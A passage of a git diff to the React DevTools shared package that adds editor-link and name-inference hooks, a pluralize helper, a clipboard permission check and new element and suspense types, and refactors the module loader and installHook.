diff --git a/packages/react-devtools-shared/src/devtools/views/root.css b/packages/react-devtools-shared/src/devtools/views/root.css
index cbf8ece0066a..db1bd7b01d7b 100644
--- a/packages/react-devtools-shared/src/devtools/views/root.css
+++ b/packages/react-devtools-shared/src/devtools/views/root.css
@@ -1,4 +1,4 @@
-:root {
+:is(:root, :host) {
   /* Font smoothing */
   --font-smoothing: auto;
 
diff --git a/packages/react-devtools-shared/src/devtools/views/useEditorURL.js b/packages/react-devtools-shared/src/devtools/views/useEditorURL.js
new file mode 100644
index 000000000000..303758d69682
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/useEditorURL.js
@@ -0,0 +1,39 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {useCallback, useSyncExternalStore} from 'react';
+
+import {getOpenInEditorURL} from '../../utils';
+import {
+  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,
+  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+} from '../../constants';
+
+const useEditorURL = (): string => {
+  const editorURL = useSyncExternalStore(
+    useCallback(function subscribe(callback) {
+      window.addEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);
+      window.addEventListener(
+        LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+        callback,
+      );
+      return function unsubscribe() {
+        window.removeEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);
+        window.removeEventListener(
+          LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,
+          callback,
+        );
+      };
+    }, []),
+    getOpenInEditorURL,
+  );
+  return editorURL;
+};
+
+export default useEditorURL;
diff --git a/packages/react-devtools-shared/src/devtools/views/useInferredName.js b/packages/react-devtools-shared/src/devtools/views/useInferredName.js
new file mode 100644
index 000000000000..2c93ded46910
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/useInferredName.js
@@ -0,0 +1,78 @@
+import {use, useContext, useDeferredValue} from 'react';
+
+import type {ReactCallSite} from 'shared/ReactTypes';
+
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
+
+import type {SerializedAsyncInfo} from 'react-devtools-shared/src/frontend/types';
+
+import FetchFileWithCachingContext from './Components/FetchFileWithCachingContext';
+
+import {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';
+
+export default function useInferredName(
+  asyncInfo: SerializedAsyncInfo,
+): string {
+  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);
+  const name = asyncInfo.awaited.name;
+  let inferNameFromStack = null;
+  if (!name || name === 'Promise' || name === 'lazy') {
+    // If all we have is a generic name, we can try to infer a better name from
+    // the stack. We only do this if the stack has more than one frame since
+    // otherwise it's likely to just be the name of the component which isn't better.
+    const bestStack = asyncInfo.awaited.stack || asyncInfo.stack;
+    if (bestStack !== null && bestStack.length > 1) {
+      inferNameFromStack = bestStack;
+    }
+  }
+  // Start by not source mapping and just taking the first name and upgrade to
+  // the better name asynchronously if we find one. Most of the time it'll just be
+  // the top of the stack.
+  const shouldSourceMap = useDeferredValue(inferNameFromStack !== null, false);
+  if (inferNameFromStack !== null) {
+    if (shouldSourceMap) {
+      let bestMatch = '';
+      for (let i = 0; i < inferNameFromStack.length; i++) {
+        const callSite: ReactCallSite = inferNameFromStack[i];
+        const [virtualFunctionName, virtualURL, virtualLine, virtualColumn] =
+          callSite;
+        const symbolicatedCallSite: null | SourceMappedLocation =
+          fetchFileWithCaching !== null
+            ? use(
+                symbolicateSourceWithCache(
+                  fetchFileWithCaching,
+                  virtualURL,
+                  virtualLine,
+                  virtualColumn,
+                ),
+              )
+            : null;
+        if (symbolicatedCallSite === null) {
+          // If we can't source map, we treat it as first party code. We called whatever was
+          // the previous callsite.
+          if (bestMatch === '') {
+            return virtualFunctionName || name;
+          } else {
+            return bestMatch;
+          }
+        } else if (!symbolicatedCallSite.ignored) {
+          if (bestMatch === '') {
+            // If we had no good stack frames for internal calls, just use the last
+            // first party function name.
+            return symbolicatedCallSite[0] || virtualFunctionName || name;
+          } else {
+            return bestMatch;
+          }
+        } else {
+          // This line was ignore listed, it might be the one we called into from first party.
+          bestMatch = symbolicatedCallSite[0] || virtualFunctionName;
+        }
+      }
+      return name;
+    } else {
+      return inferNameFromStack[0][0];
+    }
+  } else {
+    return name;
+  }
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/useOpenResource.js b/packages/react-devtools-shared/src/devtools/views/useOpenResource.js
new file mode 100644
index 000000000000..3a7fee5b6840
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/useOpenResource.js
@@ -0,0 +1,75 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';
+
+import {useCallback, useContext, useSyncExternalStore} from 'react';
+
+import ViewElementSourceContext from './Components/ViewElementSourceContext';
+
+import {getAlwaysOpenInEditor} from '../../utils';
+import useEditorURL from './useEditorURL';
+import {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../constants';
+
+import {checkConditions} from './Editor/utils';
+
+const useOpenResource = (
+  source: null | ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: null | ReactFunctionLocation | ReactCallSite,
+): [
+  boolean, // isEnabled
+  () => void, // Open Resource
+] => {
+  const {canViewElementSourceFunction, viewElementSourceFunction} = useContext(
+    ViewElementSourceContext,
+  );
+
+  const editorURL = useEditorURL();
+
+  const alwaysOpenInEditor = useSyncExternalStore(
+    useCallback(function subscribe(callback) {
+      window.addEventListener(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR, callback);
+      return function unsubscribe() {
+        window.removeEventListener(
+          LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,
+          callback,
+        );
+      };
+    }, []),
+    getAlwaysOpenInEditor,
+  );
+
+  // First check if this link is eligible for being open directly in the configured editor.
+  const openInEditor =
+    alwaysOpenInEditor && source !== null
+      ? checkConditions(editorURL, symbolicatedSource || source)
+      : null;
+  // In some cases (e.g. FB internal usage) the standalone shell might not be able to view the source.
+  // To detect this case, we defer to an injected helper function (if present).
+  const linkIsEnabled =
+    (openInEditor !== null && !openInEditor.shouldDisableButton) ||
+    (viewElementSourceFunction != null &&
+      source != null &&
+      (canViewElementSourceFunction == null ||
+        canViewElementSourceFunction(source, symbolicatedSource)));
+
+  const viewSource = useCallback(() => {
+    if (openInEditor !== null && !openInEditor.shouldDisableButton) {
+      // If we have configured to always open in the code editor, we do so if we can.
+      // Otherwise, we fallback to open in the local editor if possible (e.g. non-file urls).
+      window.open(openInEditor.url);
+    } else if (viewElementSourceFunction != null && source != null) {
+      viewElementSourceFunction(source, symbolicatedSource);
+    }
+  }, [openInEditor, source, symbolicatedSource]);
+
+  return [linkIsEnabled, viewSource];
+};
+
+export default useOpenResource;
diff --git a/packages/react-devtools-shared/src/devtools/views/utils.js b/packages/react-devtools-shared/src/devtools/views/utils.js
index 7b7ac10e13eb..a2d254bc27d8 100644
--- a/packages/react-devtools-shared/src/devtools/views/utils.js
+++ b/packages/react-devtools-shared/src/devtools/views/utils.js
@@ -121,7 +121,7 @@ function sanitize(data: Object): void {
 }
 
 export function serializeDataForCopy(props: Object): string {
-  const cloned = Object.assign({}, props);
+  const cloned = isArray(props) ? props.slice(0) : Object.assign({}, props);
 
   sanitize(cloned);
 
@@ -142,10 +142,14 @@ export function serializeHooksForCopy(hooks: HooksTree | null): string {
     const current = queue.pop();
 
     // These aren't meaningful
+    // $FlowFixMe[incompatible-use]
     delete current.id;
+    // $FlowFixMe[incompatible-use]
     delete current.isStateEditable;
 
+    // $FlowFixMe[incompatible-use]
     if (current.subHooks.length > 0) {
+      // $FlowFixMe[incompatible-use]
       queue.push(...current.subHooks);
     }
   }
@@ -194,3 +198,60 @@ export function truncateText(text: string, maxLength: number): string {
     return text;
   }
 }
+
+export function pluralize(word: string): string {
+  if (!/^[a-z]+$/i.test(word)) {
+    // If it's not a single a-z word, give up.
+    return word;
+  }
+
+  // Bail out if it's already plural.
+  switch (word) {
+    case 'men':
+    case 'women':
+    case 'children':
+    case 'feet':
+    case 'teeth':
+    case 'mice':
+    case 'people':
+      return word;
+  }
+
+  if (
+    /(ches|shes|ses|xes|zes)$/i.test(word) ||
+    /[^s]ies$/i.test(word) ||
+    /ves$/i.test(word) ||
+    /[^s]s$/i.test(word)
+  ) {
+    return word;
+  }
+
+  switch (word) {
+    case 'man':
+      return 'men';
+    case 'woman':
+      return 'women';
+    case 'child':
+      return 'children';
+    case 'foot':
+      return 'feet';
+    case 'tooth':
+      return 'teeth';
+    case 'mouse':
+      return 'mice';
+    case 'person':
+      return 'people';
+  }
+
+  // Words ending in s, x, z, ch, sh → add "es"
+  if (/(s|x|z|ch|sh)$/i.test(word)) return word + 'es';
+
+  // Words ending in consonant + y → replace y with "ies"
+  if (/[bcdfghjklmnpqrstvwxz]y$/i.test(word)) return word.slice(0, -1) + 'ies';
+
+  // Words ending in f or fe → replace with "ves"
+  if (/(?:f|fe)$/i.test(word)) return word.replace(/(?:f|fe)$/i, 'ves');
+
+  // Default: just add "s"
+  return word + 's';
+}
diff --git a/packages/react-devtools-shared/src/dynamicImportCache.js b/packages/react-devtools-shared/src/dynamicImportCache.js
index 8150b7fddf76..c4dfa3b7ca05 100644
--- a/packages/react-devtools-shared/src/dynamicImportCache.js
+++ b/packages/react-devtools-shared/src/dynamicImportCache.js
@@ -9,30 +9,15 @@
 
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
 
-import type {Thenable, Wakeable} from 'shared/ReactTypes';
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 
-const TIMEOUT = 30000;
-
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
-type PendingRecord = {
-  status: 0,
-  value: Wakeable,
-};
-
-type ResolvedRecord<T> = {
-  status: 1,
-  value: T,
-};
-
-type RejectedRecord = {
-  status: 2,
-  value: null,
-};
+import * as React from 'react';
 
-type Record<T> = PendingRecord | ResolvedRecord<T> | RejectedRecord;
+const TIMEOUT = 30000;
 
 type Module = any;
 type ModuleLoaderFunction = () => Thenable<Module>;
@@ -42,16 +27,24 @@ type ModuleLoaderFunction = () => Thenable<Module>;
 // Modules are static anyway.
 const moduleLoaderFunctionToModuleMap: Map<ModuleLoaderFunction, Module> =
   new Map();
-
-function readRecord<T>(record: Record<T>): ResolvedRecord<T> | RejectedRecord {
-  if (record.status === Resolved) {
-    // This is just a type refinement.
-    return record;
-  } else if (record.status === Rejected) {
-    // This is just a type refinement.
-    return record;
+function readRecord<T>(record: Thenable<T>): T | null {
+  if (typeof React.use === 'function') {
+    try {
+      // eslint-disable-next-line react-hooks-published/rules-of-hooks
+      return React.use(record);
+    } catch (x) {
+      if (x === null) {
+        return null;
+      }
+      throw x;
+    }
+  }
+  if (record.status === 'fulfilled') {
+    return record.value;
+  } else if (record.status === 'rejected') {
+    return null;
   } else {
-    throw record.value;
+    throw record;
   }
 }
 
@@ -66,10 +59,15 @@ export function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {
   }
 
   if (!record) {
-    const callbacks = new Set<() => mixed>();
-    const wakeable: Wakeable = {
-      then(callback: () => mixed) {
+    const callbacks = new Set<(value: any) => mixed>();
+    const rejectCallbacks = new Set<(reason: mixed) => mixed>();
+    const thenable: Thenable<Module> = {
+      status: 'pending',
+      value: null,
+      reason: null,
+      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
         callbacks.add(callback);
+        rejectCallbacks.add(reject);
       },
 
       // Optional property used by Timeline:
@@ -85,12 +83,21 @@ export function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {
       // This assumes they won't throw.
       callbacks.forEach(callback => callback());
       callbacks.clear();
+      rejectCallbacks.clear();
     };
+    const wakeRejections = () => {
+      if (timeoutID) {
+        clearTimeout(timeoutID);
+        timeoutID = null;
+      }
 
-    const newRecord: Record<Module> = (record = {
-      status: Pending,
-      value: wakeable,
-    });
+      // This assumes they won't throw.
+      rejectCallbacks.forEach(callback => callback((thenable: any).reason));
+      rejectCallbacks.clear();
+      callbacks.clear();
+    };
+
+    record = thenable;
 
     let didTimeout = false;
 
@@ -106,9 +113,9 @@ export function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {
           return;
         }
 
-        const resolvedRecord = ((newRecord: any): ResolvedRecord<Module>);
-        resolvedRecord.status = Resolved;
-        resolvedRecord.value = module;
+        const fulfilledThenable: FulfilledThenable<Module> = (thenable: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = module;
 
         wake();
       },
@@ -125,11 +132,11 @@ export function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {
 
         console.log(error);
 
-        const thrownRecord = ((newRecord: any): RejectedRecord);
-        thrownRecord.status = Rejected;
-        thrownRecord.value = null;
+        const rejectedThenable: RejectedThenable<Module> = (thenable: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = error;
 
-        wake();
+        wakeRejections();
       },
     );
 
@@ -145,17 +152,17 @@ export function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {
 
       didTimeout = true;
 
-      const timedoutRecord = ((newRecord: any): RejectedRecord);
-      timedoutRecord.status = Rejected;
-      timedoutRecord.value = null;
+      const rejectedThenable: RejectedThenable<Module> = (thenable: any);
+      rejectedThenable.status = 'rejected';
+      rejectedThenable.reason = null;
 
-      wake();
+      wakeRejections();
     }, TIMEOUT);
 
     moduleLoaderFunctionToModuleMap.set(moduleLoaderFunction, record);
   }
 
   // $FlowFixMe[underconstrained-implicit-instantiation]
-  const response = readRecord(record).value;
+  const response = readRecord(record);
   return response;
 }
diff --git a/packages/react-devtools-shared/src/errors/PermissionNotGrantedError.js b/packages/react-devtools-shared/src/errors/PermissionNotGrantedError.js
new file mode 100644
index 000000000000..dc9e4ad734e7
--- /dev/null
+++ b/packages/react-devtools-shared/src/errors/PermissionNotGrantedError.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export class PermissionNotGrantedError extends Error {
+  constructor() {
+    super("User didn't grant the required permission to perform an action");
+
+    // Maintains proper stack trace for where our error was thrown (only available on V8)
+    if (Error.captureStackTrace) {
+      Error.captureStackTrace(this, PermissionNotGrantedError);
+    }
+
+    this.name = 'PermissionNotGrantedError';
+  }
+}
diff --git a/packages/react-devtools-shared/src/events.js b/packages/react-devtools-shared/src/events.js
index 6d53844d8341..2442ec20f155 100644
--- a/packages/react-devtools-shared/src/events.js
+++ b/packages/react-devtools-shared/src/events.js
@@ -12,7 +12,7 @@ export default class EventEmitter<Events: Object> {
 
   addListener<Event: $Keys<Events>>(
     event: Event,
-    listener: (...$ElementType<Events, Event>) => any,
+    listener: (...Events[Event]) => any,
   ): void {
     const listeners = this.listenersMap.get(event);
     if (listeners === undefined) {
@@ -25,10 +25,7 @@ export default class EventEmitter<Events: Object> {
     }
   }
 
-  emit<Event: $Keys<Events>>(
-    event: Event,
-    ...args: $ElementType<Events, Event>
-  ): void {
+  emit<Event: $Keys<Events>>(event: Event, ...args: Events[Event]): void {
     const listeners = this.listenersMap.get(event);
     if (listeners !== undefined) {
       if (listeners.length === 1) {
diff --git a/packages/react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility.js b/packages/react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility.js
new file mode 100644
index 000000000000..f36e4a59c3b5
--- /dev/null
+++ b/packages/react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility.js
@@ -0,0 +1,38 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {useState, useEffect} from 'react';
+import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
+
+// Events that are prefixed with `extension` will only be emitted for the browser extension implementation.
+// For other implementations, this hook will just return constant `true` value.
+export function useExtensionComponentsPanelVisibility(
+  bridge: FrontendBridge,
+): boolean {
+  const [isVisible, setIsVisible] = useState(true);
+
+  useEffect(() => {
+    function onPanelShown() {
+      setIsVisible(true);
+    }
+    function onPanelHidden() {
+      setIsVisible(false);
+    }
+
+    bridge.addListener('extensionComponentsPanelShown', onPanelShown);
+    bridge.addListener('extensionComponentsPanelHidden', onPanelHidden);
+
+    return () => {
+      bridge.removeListener('extensionComponentsPanelShown', onPanelShown);
+      bridge.removeListener('extensionComponentsPanelHidden', onPanelHidden);
+    };
+  }, [bridge]);
+
+  return isVisible;
+}
diff --git a/packages/react-devtools-shared/src/frontend/types.js b/packages/react-devtools-shared/src/frontend/types.js
index 10c2e62c20cb..97f8cf073b86 100644
--- a/packages/react-devtools-shared/src/frontend/types.js
+++ b/packages/react-devtools-shared/src/frontend/types.js
@@ -18,7 +18,8 @@ import type {
   Dehydrated,
   Unserializable,
 } from 'react-devtools-shared/src/hydration';
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {ReactFunctionLocation, ReactStackTrace} from 'shared/ReactTypes';
+import type {UnknownSuspendersReason} from '../constants';
 
 export type BrowserTheme = 'dark' | 'light';
 
@@ -48,11 +49,29 @@ export const ElementTypeRoot = 11;
 export const ElementTypeSuspense = 12;
 export const ElementTypeSuspenseList = 13;
 export const ElementTypeTracingMarker = 14;
+export const ElementTypeVirtual = 15;
+export const ElementTypeViewTransition = 16;
+export const ElementTypeActivity = 17;
 
 // Different types of elements displayed in the Elements tree.
 // These types may be used to visually distinguish types,
 // or to enable/disable certain functionality.
-export type ElementType = 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14;
+export type ElementType =
+  | 1
+  | 2
+  | 5
+  | 6
+  | 7
+  | 8
+  | 9
+  | 10
+  | 11
+  | 12
+  | 13
+  | 14
+  | 15
+  | 16
+  | 17;
 
 // WARNING
 // The values below are referenced by ComponentFilters (which are saved via localStorage).
@@ -62,8 +81,10 @@ export const ComponentFilterElementType = 1;
 export const ComponentFilterDisplayName = 2;
 export const ComponentFilterLocation = 3;
 export const ComponentFilterHOC = 4;
+export const ComponentFilterEnvironmentName = 5;
+export const ComponentFilterActivitySlice = 6;
 
-export type ComponentFilterType = 1 | 2 | 3 | 4;
+export type ComponentFilterType = 1 | 2 | 3 | 4 | 5 | 6;
 
 // Hide all elements of types in this Set.
 // We hide host components only by default.
@@ -88,10 +109,27 @@ export type BooleanComponentFilter = {
   type: 4,
 };
 
+export type EnvironmentNameComponentFilter = {
+  isEnabled: boolean,
+  isValid: boolean,
+  type: 5,
+  value: string,
+};
+
+export type ActivitySliceFilter = {
+  type: 6,
+  activityID: Element['id'],
+  rendererID: number,
+  isValid: boolean,
+  isEnabled: boolean,
+};
+
 export type ComponentFilter =
   | BooleanComponentFilter
   | ElementTypeComponentFilter
-  | RegExpComponentFilter;
+  | RegExpComponentFilter
+  | EnvironmentNameComponentFilter
+  | ActivitySliceFilter;
 
 export type HookName = string | null;
 // Map of hook source ("<filename>:<line-number>:<column-number>") to name.
@@ -118,8 +156,10 @@ export type Plugins = {
 };
 
 export const StrictMode = 1;
+export const ActivityHiddenMode = 2;
+export const ActivityVisibleMode = 3;
 
-// Each element on the frontend corresponds to a Fiber on the backend.
+// Each element on the frontend corresponds to an ElementID (e.g. a Fiber) on the backend.
 // Some of its information (e.g. id, type, displayName) come from the backend.
 // Other bits (e.g. weight and depth) are computed on the frontend for windowing and display purposes.
 // Elements are updated on a push basis– meaning the backend pushes updates to the frontend when needed.
@@ -130,6 +170,7 @@ export type Element = {
   type: ElementType,
   displayName: string | null,
   key: number | string | null,
+  nameProp: null | string,
 
   hocDisplayNames: null | Array<string>,
 
@@ -152,15 +193,74 @@ export type Element = {
   // Only true for React versions supporting StrictMode.
   isStrictModeNonCompliant: boolean,
 
+  // Whether this Activity element has mode="hidden".
+  isActivityHidden: boolean,
+
+  // Whether this element is inside a hidden Activity subtree.
+  isInsideHiddenActivity: boolean,
+
   // If component is compiled with Forget, the backend will send its name as Forget(...)
   // Later, on the frontend side, we will strip HOC names and Forget prefix.
   compiledWithForget: boolean,
 };
 
+export type Rect = {
+  x: number,
+  y: number,
+  width: number,
+  height: number,
+};
+
+export type SuspenseTimelineStep = {
+  /**
+   * The first step is either a host root (initial paint) or Activity (Transition).
+   * Subsequent steps are always Suspense nodes.
+   */
+  id: SuspenseNode['id'] | Element['id'], // TODO: Will become a group.
+  environment: null | string,
+  rendererID: number,
+  endTime: number,
+};
+
+export type SuspenseNode = {
+  id: Element['id'],
+  parentID: SuspenseNode['id'] | 0,
+  children: Array<SuspenseNode['id']>,
+  name: string | null,
+  rects: null | Array<Rect>,
+  hasUniqueSuspenders: boolean,
+  isSuspended: boolean,
+  environments: Array<string>,
+  endTime: number,
+};
+
+// Serialized version of ReactIOInfo
+export type SerializedIOInfo = {
+  name: string,
+  description: string,
+  start: number,
+  end: number,
+  byteSize: null | number,
+  value: null | Promise<mixed>,
+  env: null | string,
+  owner: null | SerializedElement,
+  stack: null | ReactStackTrace,
+};
+
+// Serialized version of ReactAsyncInfo
+export type SerializedAsyncInfo = {
+  awaited: SerializedIOInfo,
+  env: null | string,
+  owner: null | SerializedElement,
+  stack: null | ReactStackTrace,
+};
+
 export type SerializedElement = {
   displayName: string | null,
   id: number,
   key: number | string | null,
+  env: null | string,
+  stack: null | ReactStackTrace,
   hocDisplayNames: Array<string> | null,
   compiledWithForget: boolean,
   type: ElementType,
@@ -196,13 +296,11 @@ export type InspectedElement = {
   // Is this Error, and can its value be overridden now?
   isErrored: boolean,
   canToggleError: boolean,
-  targetErrorBoundaryID: ?number,
 
   // Is this Suspense, and can its value be overridden now?
   canToggleSuspense: boolean,
-
-  // Can view component source location.
-  canViewSource: boolean,
+  // If this Element is suspended. Currently only set on Suspense boundaries.
+  isSuspended: boolean | null,
 
   // Does the component have legacy context attached to it.
   hasLegacyContext: boolean,
@@ -216,11 +314,23 @@ export type InspectedElement = {
   errors: Array<[string, number]>,
   warnings: Array<[string, number]>,
 
+  // Things that suspended this Instances
+  suspendedBy: Object,
+  // Minimum start time to maximum end time + a potential (not actual) throttle, within the nearest boundary.
+  suspendedByRange: null | [number, number],
+  unknownSuspenders: UnknownSuspendersReason,
+
   // List of owners
   owners: Array<SerializedElement> | null,
 
+  // Environment name that this component executed in or null for the client
+  env: string | null,
+
   // Location of component in source code.
-  source: Source | null,
+  source: ReactFunctionLocation | null,
+
+  // The location of the JSX creation.
+  stack: ReactStackTrace | null,
 
   type: ElementType,
 
@@ -233,6 +343,9 @@ export type InspectedElement = {
 
   // UI plugins/visualizations for the inspected element.
   plugins: Plugins,
+
+  // React Native only.
+  nativeTag: number | null,
 };
 
 // TODO: Add profiling type
diff --git a/packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js b/packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js
new file mode 100644
index 000000000000..d87db8254648
--- /dev/null
+++ b/packages/react-devtools-shared/src/frontend/utils/withPermissionsCheck.js
@@ -0,0 +1,35 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {PermissionNotGrantedError} from 'react-devtools-shared/src/errors/PermissionNotGrantedError';
+
+type SupportedPermission = 'clipboardWrite';
+type Permissions = Array<SupportedPermission>;
+type PermissionsOptions = {permissions: Permissions};
+
+// browser.permissions is not available for DevTools pages in Firefox
+// https://bugzilla.mozilla.org/show_bug.cgi?id=1796933
+// We are going to assume that requested permissions are not optional.
+export function withPermissionsCheck<T: (...$ReadOnlyArray<empty>) => mixed>(
+  options: PermissionsOptions,
+  callback: T,
+): T | (() => Promise<ReturnType<T>>) {
+  if (!__IS_CHROME__ && !__IS_EDGE__) {
+    return callback;
+  } else {
+    return async () => {
+      const granted = await chrome.permissions.request(options);
+      if (granted) {
+        return callback();
+      }
+
+      return Promise.reject(new PermissionNotGrantedError());
+    };
+  }
+}
diff --git a/packages/react-devtools-shared/src/hook.js b/packages/react-devtools-shared/src/hook.js
index 0dd96dc471cb..f24ae48c3601 100644
--- a/packages/react-devtools-shared/src/hook.js
+++ b/packages/react-devtools-shared/src/hook.js
@@ -15,38 +15,64 @@ import type {
   RendererID,
   RendererInterface,
   DevToolsBackend,
+  DevToolsHookSettings,
+  ProfilingSettings,
+  ReactBuildType,
 } from './backend/types';
+import type {ComponentFilter} from './frontend/types';
 
 import {
   FIREFOX_CONSOLE_DIMMING_COLOR,
   ANSI_STYLE_DIMMING_TEMPLATE,
+  ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK,
 } from 'react-devtools-shared/src/constants';
+import attachRenderer from './attachRenderer';
+import formatConsoleArguments from 'react-devtools-shared/src/backend/utils/formatConsoleArguments';
+import formatWithStyles from 'react-devtools-shared/src/backend/utils/formatWithStyles';
+
+// React's custom built component stack strings match "\s{4}in"
+// Chrome's prefix matches "\s{4}at"
+const PREFIX_REGEX = /\s{4}(in|at)\s{1}/;
+// Firefox and Safari have no prefix ("")
+// but we can fallback to looking for location info (e.g. "foo.js:12:345")
+const ROW_COLUMN_NUMBER_REGEX = /:\d+:\d+(\n|$)/;
+
+function isStringComponentStack(text: string): boolean {
+  return PREFIX_REGEX.test(text) || ROW_COLUMN_NUMBER_REGEX.test(text);
+}
 
-declare var window: any;
+// We add a suffix to some frames that older versions of React didn't do.
+// To compare if it's equivalent we strip out the suffix to see if they're
+// still equivalent. Similarly, we sometimes use [] and sometimes () so we
+// strip them to for the comparison.
+const frameDiffs = / \(\<anonymous\>\)$|\@unknown\:0\:0$|\(|\)|\[|\]/gm;
+function areStackTracesEqual(a: string, b: string): boolean {
+  return a.replace(frameDiffs, '') === b.replace(frameDiffs, '');
+}
 
-export function installHook(target: any): DevToolsHook | null {
+const targetConsole: Object = console;
+
+const defaultProfilingSettings: ProfilingSettings = {
+  recordChangeDescriptions: false,
+  recordTimeline: false,
+};
+
+export function installHook(
+  target: any,
+  componentFiltersOrComponentFiltersPromise:
+    | Array<ComponentFilter>
+    | Promise<Array<ComponentFilter>>,
+  maybeSettingsOrSettingsPromise?:
+    | DevToolsHookSettings
+    | Promise<DevToolsHookSettings>,
+  shouldStartProfilingNow: boolean = false,
+  profilingSettings: ProfilingSettings = defaultProfilingSettings,
+): DevToolsHook | null {
   if (target.hasOwnProperty('__REACT_DEVTOOLS_GLOBAL_HOOK__')) {
     return null;
   }
 
-  let targetConsole: Object = console;
-  let targetConsoleMethods: {[string]: $FlowFixMe} = {};
-  for (const method in console) {
-    targetConsoleMethods[method] = console[method];
-  }
-
-  function dangerous_setTargetConsoleForTesting(
-    targetConsoleForTesting: Object,
-  ): void {
-    targetConsole = targetConsoleForTesting;
-
-    targetConsoleMethods = ({}: {[string]: $FlowFixMe});
-    for (const method in targetConsole) {
-      targetConsoleMethods[method] = console[method];
-    }
-  }
-
-  function detectReactBuildType(renderer: ReactRenderer) {
+  function detectReactBuildType(renderer: ReactRenderer): ReactBuildType {
     try {
       if (typeof renderer.version === 'string') {
         // React DOM Fiber (16+)
@@ -179,225 +205,40 @@ export function installHook(target: any): DevToolsHook | null {
     } catch (err) {}
   }
 
-  // NOTE: KEEP IN SYNC with src/backend/utils.js
-  function formatWithStyles(
-    inputArgs: $ReadOnlyArray<any>,
-    style?: string,
-  ): $ReadOnlyArray<any> {
-    if (
-      inputArgs === undefined ||
-      inputArgs === null ||
-      inputArgs.length === 0 ||
-      // Matches any of %c but not %%c
-      (typeof inputArgs[0] === 'string' &&
-        inputArgs[0].match(/([^%]|^)(%c)/g)) ||
-      style === undefined
-    ) {
-      return inputArgs;
-    }
-
-    // Matches any of %(o|O|d|i|s|f), but not %%(o|O|d|i|s|f)
-    const REGEXP = /([^%]|^)((%%)*)(%([oOdisf]))/g;
-    if (typeof inputArgs[0] === 'string' && inputArgs[0].match(REGEXP)) {
-      return [`%c${inputArgs[0]}`, style, ...inputArgs.slice(1)];
-    } else {
-      const firstArg = inputArgs.reduce((formatStr, elem, i) => {
-        if (i > 0) {
-          formatStr += ' ';
-        }
-        switch (typeof elem) {
-          case 'string':
-          case 'boolean':
-          case 'symbol':
-            return (formatStr += '%s');
-          case 'number':
-            const formatting = Number.isInteger(elem) ? '%i' : '%f';
-            return (formatStr += formatting);
-          default:
-            return (formatStr += '%o');
-        }
-      }, '%c');
-      return [firstArg, style, ...inputArgs];
-    }
-  }
-  // NOTE: KEEP IN SYNC with src/backend/utils.js
-  function formatConsoleArguments(
-    maybeMessage: any,
-    ...inputArgs: $ReadOnlyArray<any>
-  ): $ReadOnlyArray<any> {
-    if (inputArgs.length === 0 || typeof maybeMessage !== 'string') {
-      return [maybeMessage, ...inputArgs];
-    }
-
-    const args = inputArgs.slice();
-
-    let template = '';
-    let argumentsPointer = 0;
-    for (let i = 0; i < maybeMessage.length; ++i) {
-      const currentChar = maybeMessage[i];
-      if (currentChar !== '%') {
-        template += currentChar;
-        continue;
-      }
-
-      const nextChar = maybeMessage[i + 1];
-      ++i;
-
-      // Only keep CSS and objects, inline other arguments
-      switch (nextChar) {
-        case 'c':
-        case 'O':
-        case 'o': {
-          ++argumentsPointer;
-          template += `%${nextChar}`;
-
-          break;
-        }
-        case 'd':
-        case 'i': {
